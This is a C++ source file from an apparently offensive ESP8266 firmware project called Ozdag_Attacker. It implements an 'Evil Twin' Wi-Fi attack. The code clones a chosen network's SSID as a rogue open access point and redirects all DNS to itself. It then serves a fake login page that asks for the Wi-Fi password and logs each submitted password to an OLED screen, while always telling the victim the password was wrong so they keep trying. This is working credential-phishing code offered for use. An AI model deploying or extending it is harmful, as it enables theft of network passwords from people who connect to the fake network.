Ozdag_Attacker/src/mitm.cpp

633 lines
29 KiB
C++

#include "mitm.h"
#include "config.h"
#include "utils.h"
#include "ui.h" // For needsRedraw, oled access
#include "scanner.h" // <<< Include scanner header for AP list access
#include <ESP8266WiFi.h>
#include <DNSServer.h> // For DNS Spoofing
#include <ESP8266WebServer.h> // For Captive Portal
// --- External UI Elements ---
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
extern bool needsRedraw;
extern UIState currentState; // To potentially switch back to main menu
// --- MitM Module State ---
static MitmState currentMitmState = MITM_STATE_IDLE;
static char target_ssid[33] = "[No Target]"; // Store selected target SSID
static uint8_t target_bssid[6] = {0}; // Store selected target BSSID (optional, for deauth)
static char captured_password[65] = ""; // To store captured password
static IPAddress apIP(192, 168, 4, 1); // IP address for the Rogue AP
static IPAddress netMsk(255, 255, 255, 0);
// --- Target Selection State ---
static int mitm_selected_ap_index = 0; // Index in the scanner's ap_list
static int mitm_display_offset = 0; // For scrolling the AP list
// --- Captured Password Count ---
static int captured_password_count = 0; // Count how many passwords have been submitted
// --- Logged Password Storage ---
const int MAX_LOGGED_PASSWORDS = 10;
const int MAX_PASSWORD_LEN = 64; // Max length for a single password (+1 for null)
static char logged_passwords[MAX_LOGGED_PASSWORDS][MAX_PASSWORD_LEN + 1];
static int logged_password_idx = 0; // Index for the *next* slot to write to (circular buffer)
static int view_log_scroll_offset = 0; // For scrolling the log view on OLED
// --- Login Error State ---
static bool show_login_error = false; // Flag to indicate if the error message should be shown
// --- Waiting Animation State ---
static char waiting_anim_char = '|';
static unsigned long last_anim_time = 0;
const unsigned long ANIM_INTERVAL = 250; // Milliseconds between animation frames
// --- Capture Alarm State ---
static bool new_password_captured = false; // Flag set when a new password arrives
static unsigned long capture_alarm_start_time = 0; // When the alarm started
const unsigned long CAPTURE_ALARM_DURATION = 1500; // How long the alarm effect lasts (milliseconds)
// --- Logged Blinking State ---
const unsigned long LOGGED_BLINK_INTERVAL = 500; // Blink rate (milliseconds on/off)
static unsigned long last_blink_time = 0; // Timer for blinking redraw trigger
static bool logged_text_visible = true; // State for blinking visibility
// --- Server Instances ---
DNSServer dnsServer;
ESP8266WebServer webServer(80); // Web server on port 80
// --- Captive Portal HTML ---
// Basic HTML for a fake login page. Can be customized extensively.
const char* captivePortalHTML = R"rawliteral(
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WiFi Login</title>
<style>
body { font-family: Arial, sans-serif; background-color: #f0f0f0; text-align: center; padding-top: 50px; }
.container { background-color: #fff; padding: 20px; border-radius: 8px; display: inline-block; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
input[type=text], input[type=password] { width: 90%; padding: 12px 20px; margin: 8px 0; display: inline-block; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; }
button { background-color: #4CAF50; color: white; padding: 14px 20px; margin: 8px 0; border: none; border-radius: 4px; cursor: pointer; width: 90%; }
button:hover { opacity: 0.8; }
</style>
</head>
<body>
<div class="container">
<h2>Connect to WiFi</h2>
<p>Please enter the password for '%s'</p> <!-- SSID placeholder -->
<p style="color:red;">%s</p> <!-- Error Message placeholder -->
<form action="/login" method="POST">
<input type="password" id="password" name="password" placeholder="Password" required><br>
<button type="submit">Connect</button>
</form>
</div>
</body>
</html>
)rawliteral";
// --- Forward Declarations for Web Handlers ---
void handleRoot();
void handleLogin();
void handleNotFound();
void sendCaptivePortalHTML(const char* ssid, const char* error_message); // Helper function
// --- Initialization ---
void mitm_init() {
Serial.println("MitM Module Initialized.");
currentMitmState = MITM_STATE_IDLE;
strncpy(target_ssid, "[No Target]", sizeof(target_ssid) -1); // Initialize with no target
// Any other one-time setup
}
// --- Start MitM Attack ---
void mitm_start() {
// Prevent starting only if already active or transitioning
if (currentMitmState == MITM_STATE_STARTING ||
currentMitmState == MITM_STATE_RUNNING ||
currentMitmState == MITM_STATE_STOPPING) {
Serial.println("MitM Start: Already running or starting.");
return;
}
// Check if a valid target has been selected
if (strcmp(target_ssid, "[No Target]") == 0 || target_ssid[0] == '\0') {
Serial.println("MitM Start: No target AP selected!");
// Optionally switch back to select state or show error on OLED?
// For now, just return.
return;
}
Serial.println("MitM Starting...");
currentMitmState = MITM_STATE_STARTING;
needsRedraw = true;
// Clear previous logs and counters on new start
captured_password_count = 0;
logged_password_idx = 0;
view_log_scroll_offset = 0;
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
// TODO:
// 1. Configure and start Rogue AP (WiFi.softAPConfig, WiFi.softAP)
// 2. Configure and start DNS Server (dnsServer.start)
// 3. Configure Web Server handlers (webServer.on, webServer.onNotFound)
// 4. Start Web Server (webServer.begin)
// 5. Optionally start Deauth attack against real AP
// --- Placeholder Setup ---
Serial.printf("MitM: Setting up Evil Twin AP: %s\n", target_ssid);
WiFi.mode(WIFI_AP); // Switch to AP mode
WiFi.softAPConfig(apIP, apIP, netMsk);
// Use an open network for simplicity first, add password later if needed
bool ap_started = WiFi.softAP(target_ssid);
if (ap_started) {
Serial.printf("MitM: Rogue AP Started. IP: %s\n", WiFi.softAPIP().toString().c_str());
// Start DNS
Serial.println("MitM: Starting DNS Server.");
// Redirect all domains to our AP's IP address
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
dnsServer.start(53, "*", apIP); // Port 53, capture all domains
// Start Web Server (Define handlers later)
Serial.println("MitM: Starting Web Server.");
webServer.on("/", HTTP_GET, handleRoot); // Serve the login page
webServer.on("/login", HTTP_POST, handleLogin); // Handle form submission
webServer.onNotFound(handleNotFound); // Redirect other requests (Captive Portal)
webServer.begin();
Serial.println("MitM: Running.");
currentMitmState = MITM_STATE_RUNNING;
} else {
Serial.println("!!! MitM: Failed to start Rogue AP!");
mitm_stop(); // Cleanup on failure
}
needsRedraw = true;
}
// --- Stop MitM Attack ---
void mitm_stop() {
Serial.println("MitM Stopping...");
currentMitmState = MITM_STATE_STOPPING;
// Stop servers and WiFi AP
webServer.stop();
dnsServer.stop();
WiFi.softAPdisconnect(true); // Disconnect clients and stop AP
WiFi.mode(WIFI_STA); // Return to STA mode
WiFi.disconnect(); // Disconnect from any network
// Clear captured data
memset(captured_password, 0, sizeof(captured_password));
// Clear captured data count
captured_password_count = 0;
// Clear log state
logged_password_idx = 0;
view_log_scroll_offset = 0;
memset(logged_passwords, 0, sizeof(logged_passwords)); // Clear the array
Serial.println("MitM Stopped.");
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
// --- Main Update Loop ---
void mitm_update() {
// Only run updates if the MitM module is in the RUNNING state
if (currentMitmState == MITM_STATE_RUNNING) {
// --- Handle Network Tasks ---
// Process any incoming DNS requests (for captive portal redirection)
dnsServer.processNextRequest();
// Process any incoming web requests to the captive portal server
webServer.handleClient();
// --- Handle UI Updates (Animation/Blinking) ---
// Get the current time once to use for timing checks below
unsigned long currentMillis = millis();
// Check if any passwords have been captured yet
if (captured_password_count == 0) {
// --- No passwords captured: Update "Waiting..." Animation ---
// Check if it's time for the next animation frame
if (currentMillis - last_anim_time > ANIM_INTERVAL) {
last_anim_time = currentMillis; // Reset the animation timer
// Cycle through the animation characters: | / - \
// This switch statement selects the next character based on the current one
switch (waiting_anim_char) {
case '|': waiting_anim_char = '/'; break;
case '/': waiting_anim_char = '-'; break;
case '-': waiting_anim_char = '\\'; break; // Use double backslash for the character
case '\\': waiting_anim_char = '|'; break;
default: waiting_anim_char = '|'; break; // If something unexpected happens, reset
} // End of switch statement
// We need to redraw the screen to show the new animation character
needsRedraw = true;
}
} else {
// --- Passwords HAVE been captured: Update "Logged: X" Blinking ---
// Check if it's time to toggle the blink state (on/off)
if (currentMillis - last_blink_time > LOGGED_BLINK_INTERVAL) {
last_blink_time = currentMillis; // Reset the blink timer
// We need to redraw the screen to potentially change the visibility
needsRedraw = true;
}
}
} // End of if (currentMitmState == MITM_STATE_RUNNING)
// You could add other state updates outside the RUNNING check if needed
// For example, handling timeouts or other background tasks for MitM.
} // End of mitm_update function
// --- Helper to Send Captive Portal HTML (Chunked) ---
void sendCaptivePortalHTML(const char* ssid, const char* error_message) {
// Find placeholders
const char* ssidPlaceholderPos = strstr(captivePortalHTML, "%s");
const char* errorPlaceholderPos = ssidPlaceholderPos ? strstr(ssidPlaceholderPos + 2, "%s") : nullptr; // Find second %s
if (!ssidPlaceholderPos || !errorPlaceholderPos) {
Serial.println("MitM Web Helper: Error! Placeholders not found in HTML.");
webServer.send(500, "text/plain", "Internal Server Error: Portal template invalid.");
return;
}
// Calculate lengths
size_t part1Len = ssidPlaceholderPos - captivePortalHTML;
size_t ssidLen = strlen(ssid);
size_t part2Len = errorPlaceholderPos - (ssidPlaceholderPos + 2);
size_t errorLen = strlen(error_message);
size_t part3Len = strlen(errorPlaceholderPos + 2);
size_t totalLen = part1Len + ssidLen + part2Len + errorLen + part3Len;
// Send headers
webServer.setContentLength(totalLen);
webServer.send(200, "text/html", ""); // Send headers, empty content
// Send content in chunks
webServer.sendContent_P(captivePortalHTML, part1Len);
webServer.sendContent(ssid, ssidLen);
webServer.sendContent_P(ssidPlaceholderPos + 2, part2Len);
webServer.sendContent(error_message, errorLen);
webServer.sendContent_P(errorPlaceholderPos + 2, part3Len);
webServer.client().stop(); // Close connection
Serial.println("MitM Web Helper: Finished sending chunked response.");
}
// --- Web Server Handlers ---
void handleRoot() {
Serial.println("MitM Web: Serving root page (chunked).");
const char* error_msg = "";
if (show_login_error) {
Serial.println("MitM Web: Login error flag is set, showing error message.");
error_msg = "Incorrect Password. Please try again.";
show_login_error = false; // Reset the flag after using it
}
sendCaptivePortalHTML(target_ssid, error_msg);
}
void handleLogin() {
Serial.println("MitM Web: Received POST to /login");
if (webServer.hasArg("password")) {
String password = webServer.arg("password");
Serial.printf("MitM Web: Potential Password Captured: %s\n", password.c_str());
// Store the password in the log array (circular buffer)
strncpy(logged_passwords[logged_password_idx], password.c_str(), MAX_PASSWORD_LEN);
logged_passwords[logged_password_idx][MAX_PASSWORD_LEN] = '\0'; // Ensure null termination
logged_password_idx = (logged_password_idx + 1) % MAX_LOGGED_PASSWORDS; // Move to next slot, wrap around
captured_password_count++; // Increment count
new_password_captured = true;
capture_alarm_start_time = millis();
needsRedraw = true; // Force UI redraw to update count if needed
// Set the flag to show the error on the next page load
show_login_error = true;
// Redirect the client back to the root page
webServer.sendHeader("Location", "/", true);
webServer.send(302, "text/plain", "Password Incorrect - Redirecting..."); // 302 Found
} else {
Serial.println("MitM Web: Login POST received, but no 'password' argument.");
webServer.send(400, "text/plain", "Bad Request: Missing password field.");
}
}
void handleNotFound() {
// Redirect to root page (captive portal trigger)
Serial.println("MitM Web: handleNotFound triggered, redirecting.");
webServer.sendHeader("Location", "/", true); // Redirect to root
webServer.send(302, "text/plain", ""); // 302 Found status code
}
// --- Draw MitM UI ---
void mitm_draw() {
oled.setFont(u8g2_font_6x10_tf); // Ensure default font at start
switch (currentMitmState) {
case MITM_STATE_IDLE:
// Draw Title
oled.drawStr(0, 25, "Evil Twin Ready"); // Keep at default position for now
// Draw Target Label (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, 40, "Target SSID:");
oled.setFont(u8g2_font_6x10_tf); // Back to default font
// Draw Target SSID (Default Font)
oled.drawStr(0, 52, target_ssid);
// Draw Footer (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, SCREEN_HEIGHT - 1, "LONG: Select Target");
oled.setFont(u8g2_font_6x10_tf); // Back to default font
break;
case MITM_STATE_SELECT_TARGET:
{ // Block scope for local variables
oled.drawStr(0, 24, "Select Target AP:");
// oled.drawLine(0, 26, SCREEN_WIDTH, 26); // Line removed
const int items_per_page = 3; // Keep showing 3 APs
int yPos = 32; // Start list items at Y=32
int line_height = 11;
if (ap_count == 0) {
oled.drawStr(10, 40, "[No APs Found]");
oled.drawStr(10, 52, "Run Scanner First!");
} else {
for (int i = 0; i < items_per_page; ++i) {
int current_item_index = mitm_display_offset + i;
if (current_item_index >= ap_count) break; // Stop if we run out of APs
AccessPointInfo* ap = &ap_list[current_item_index];
char buffer[40]; // <<< INCREASE BUFFER SIZE (e.g., to 40)
char select_char = (current_item_index == mitm_selected_ap_index) ? '>' : ' ';
String encStr = encryption_to_string(ap->encryption); // Assuming you have this function from scanner
snprintf(buffer, sizeof(buffer), "%c%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
oled.drawStr(0, yPos + (i * line_height), buffer);
}
// Draw scroll indicators if needed (similar to scanner)
if (ap_count > items_per_page) {
if (mitm_display_offset > 0) oled.drawTriangle(SCREEN_WIDTH - 6, 28, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up (Y=28-31)
if (mitm_display_offset + items_per_page < ap_count) oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
}
}
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Scroll L:Select");
}
break;
case MITM_STATE_STARTING:
oled.drawStr(0, 30, "MitM Starting...");
break;
case MITM_STATE_RUNNING:
{ // Block scope
// Draw Title (Moved up)
oled.drawStr(0, 10, "Evil Twin Active"); // Draw just below header line
// Draw AP Info
oled.drawStr(0, 24, "AP:");
oled.drawStr(18, 24, target_ssid);
// Draw Status (Waiting animation or Logged count)
char footer_text[20]; // Buffer for footer text
if (captured_password_count > 0) {
// --- Handle Capture Alarm & Blinking ---
bool draw_inverted = false;
bool draw_normal = true; // Assume we draw normally unless blinking off
if (new_password_captured) {
if (millis() - capture_alarm_start_time < CAPTURE_ALARM_DURATION) {
draw_inverted = true; // Still within alarm duration
draw_normal = false; // Don't draw normally during alarm
} else {
new_password_captured = false; // Alarm duration ended
}
}
// If alarm is not active, handle blinking
if (!draw_inverted) {
// Toggle visibility based on time interval
logged_text_visible = (millis() / LOGGED_BLINK_INTERVAL) % 2 == 0;
if (!logged_text_visible) {
draw_normal = false; // Don't draw if in the "off" blink phase
}
}
// --- End Alarm & Blinking Handling ---
char count_buffer[20];
snprintf(count_buffer, sizeof(count_buffer), "Logged: %d", captured_password_count);
// Draw the "Logged: X" text (normal or inverted)
int text_y = 38;
int text_width = oled.getStrWidth(count_buffer);
int text_height = 10; // Font height
if (draw_inverted) {
oled.setDrawColor(1); // Set color to foreground (white)
oled.drawBox(0, text_y - text_height + 1, text_width + 2, text_height + 1); // Draw black box behind text area
oled.setDrawColor(0); // Set color to background (black) for text
oled.drawStr(1, text_y, count_buffer); // Draw text slightly offset within box
oled.setDrawColor(1); // IMPORTANT: Reset draw color to foreground for other elements
} else if (draw_normal) { // Only draw normally if not inverted and not in blink "off" phase
oled.drawStr(0, text_y, count_buffer); // Draw normally
}
strncpy(footer_text, "S:Logs L:Stop", sizeof(footer_text));
} else {
char waiting_buffer[15];
snprintf(waiting_buffer, sizeof(waiting_buffer), "Waiting %c", waiting_anim_char);
oled.drawStr(0, 38, waiting_buffer); // Draw waiting text + animation
strncpy(footer_text, "LONG: Stop", sizeof(footer_text));
}
footer_text[sizeof(footer_text)-1] = '\0'; // Ensure null termination
// Draw Footer (Small)
oled.setFont(u8g2_font_5x7_tf);
oled.drawStr(0, SCREEN_HEIGHT - 1, footer_text);
oled.setFont(u8g2_font_6x10_tf); // Back to default font
} // End block scope
break;
case MITM_STATE_STOPPING:
oled.drawStr(0, 30, "MitM Stopping...");
break;
case MITM_STATE_VIEW_LOGS:
{ // Block scope for VIEW_LOGS state
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
int font_height = 10; // Approx height of the font used (6x10)
int line_spacing = font_height + 1; // Y distance between lines (11)
int start_y = 24; // Y position for the first line of the password (Reverted)
if (displayable_logs == 0) {
oled.drawStr(10, 40, "[No Logs Yet]"); // Keep this centered vertically
} else {
// --- Draw Scroll Indicators (Page Up/Down) ---
// Up arrow if not showing the first log (index 0)
if (view_log_scroll_offset > 0) {
oled.drawTriangle(SCREEN_WIDTH - 6, 16, SCREEN_WIDTH - 9, 20, SCREEN_WIDTH - 3, 20); // Up
}
// Down arrow if not showing the last log
if (view_log_scroll_offset < displayable_logs - 1) {
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 3, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 7, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 7); // Down
}
// --- Calculate index of the single password to display ---
int log_index_to_display = view_log_scroll_offset; // 0-based index of the log entry
// Calculate actual index in circular buffer
int start_idx;
if (captured_password_count <= MAX_LOGGED_PASSWORDS) {
start_idx = 0;
} else {
start_idx = logged_password_idx;
}
int actual_idx = (start_idx + log_index_to_display) % MAX_LOGGED_PASSWORDS;
// --- Draw the selected password across up to 4 lines ---
const char* password = logged_passwords[actual_idx];
int password_len = strlen(password);
// Draw Prefix "N:" (e.g., "1:", "2:")
char prefix_buffer[6];
snprintf(prefix_buffer, sizeof(prefix_buffer), "%d:", log_index_to_display + 1);
oled.drawStr(0, start_y, prefix_buffer); // Draw prefix on the first line
int prefix_width = oled.getStrWidth(prefix_buffer);
prefix_width += 2; // Gap
const int chars_per_line = 17;
char line_buf[chars_per_line + 1];
int current_offset = 0; // Start at the beginning of the password string
// Draw up to 4 lines
for (int line_num = 0; line_num < 4; ++line_num) {
if (current_offset >= password_len) break; // Stop if we've drawn the whole password
int chars_to_draw = min(password_len - current_offset, chars_per_line);
strncpy(line_buf, password + current_offset, chars_to_draw);
line_buf[chars_to_draw] = '\0';
oled.drawStr(prefix_width, start_y + (line_num * line_spacing), line_buf);
current_offset += chars_to_draw; // Move offset for the next line
}
}
// --- Draw Footer with smaller font ---
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font (e.g., 5x7)
oled.drawStr(0, SCREEN_HEIGHT - 1, "S:Next L:Back"); // Updated footer text
oled.setFont(u8g2_font_6x10_tf); // <<< IMPORTANT: Set font back to default for next draw cycle
} // End block scope
break;
default:
oled.drawStr(0, 30, "MitM Unknown State");
break;
}
}
// --- Handle Button Input ---
void mitm_handle_input(ButtonPressType pressType) {
switch (currentMitmState) {
case MITM_STATE_IDLE:
if (pressType == ButtonPressType::LONG_PRESS) {
// Enter selection mode
currentMitmState = MITM_STATE_SELECT_TARGET;
mitm_selected_ap_index = 0; // Reset selection
mitm_display_offset = 0;
needsRedraw = true;
Serial.println("MitM: Entering Target Selection Mode.");
}
break;
case MITM_STATE_SELECT_TARGET:
if (ap_count > 0) { // Only handle input if there are APs
const int items_per_page = 3; // <<< Update items per page here too
if (pressType == ButtonPressType::SHORT_PRESS) {
// Scroll down
mitm_selected_ap_index = (mitm_selected_ap_index + 1) % ap_count;
// Adjust display offset
if (mitm_selected_ap_index < mitm_display_offset) mitm_display_offset = mitm_selected_ap_index;
else if (mitm_selected_ap_index >= mitm_display_offset + items_per_page) mitm_display_offset = mitm_selected_ap_index - items_per_page + 1;
needsRedraw = true;
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Select the highlighted AP
AccessPointInfo* selectedAP = &ap_list[mitm_selected_ap_index];
strncpy(target_ssid, selectedAP->ssid, sizeof(target_ssid) - 1);
target_ssid[sizeof(target_ssid) - 1] = '\0'; // Ensure null termination
memcpy(target_bssid, selectedAP->bssid, 6);
Serial.printf("MitM: Target Selected: %s (%s)\n", target_ssid, macToString(target_bssid).c_str());
mitm_start(); // Attempt to start the attack with the selected target
// mitm_start will change the state if successful
}
} else if (pressType == ButtonPressType::LONG_PRESS) {
// Allow long press to go back even if list is empty
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
break;
case MITM_STATE_RUNNING:
if (pressType == ButtonPressType::LONG_PRESS) {
mitm_stop();
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Enter log view mode if passwords have been captured
if (captured_password_count > 0) {
currentMitmState = MITM_STATE_VIEW_LOGS;
view_log_scroll_offset = 0; // Start scroll at the top
needsRedraw = true;
Serial.println("MitM: Entering Log View Mode.");
}
}
break;
case MITM_STATE_STARTING:
case MITM_STATE_STOPPING:
// Ignore input while starting/stopping for now
break;
case MITM_STATE_VIEW_LOGS:
{ // Block scope
int displayable_logs = min(captured_password_count, MAX_LOGGED_PASSWORDS);
if (pressType == ButtonPressType::LONG_PRESS) {
// Go back to running state
currentMitmState = MITM_STATE_RUNNING;
needsRedraw = true;
Serial.println("MitM: Exiting Log View Mode.");
} else if (pressType == ButtonPressType::SHORT_PRESS) {
// Go to the next password log (if possible)
if (displayable_logs > 0 && view_log_scroll_offset < displayable_logs - 1) {
view_log_scroll_offset++;
needsRedraw = true;
} else {
// Optional: Add wrap-around or visual feedback if at the end
needsRedraw = true;
}
}
} // End block scope
break;
default:
// Should not happen, maybe return to idle on long press?
if (pressType == ButtonPressType::LONG_PRESS) {
currentMitmState = MITM_STATE_IDLE;
needsRedraw = true;
}
break;
}
// Old logic:
/* if (pressType == ButtonPressType::LONG_PRESS) {
if (currentMitmState == MITM_STATE_RUNNING || currentMitmState == MITM_STATE_CAPTURED) {
mitm_stop();
} else if (currentMitmState == MITM_STATE_IDLE) {
mitm_start();
}
// If starting/stopping, long press might cancel or do nothing yet
} */
// Short press could be used later for selecting targets or viewing details
}
// --- Get Current State ---
MitmState mitm_get_current_state() {
return currentMitmState;
}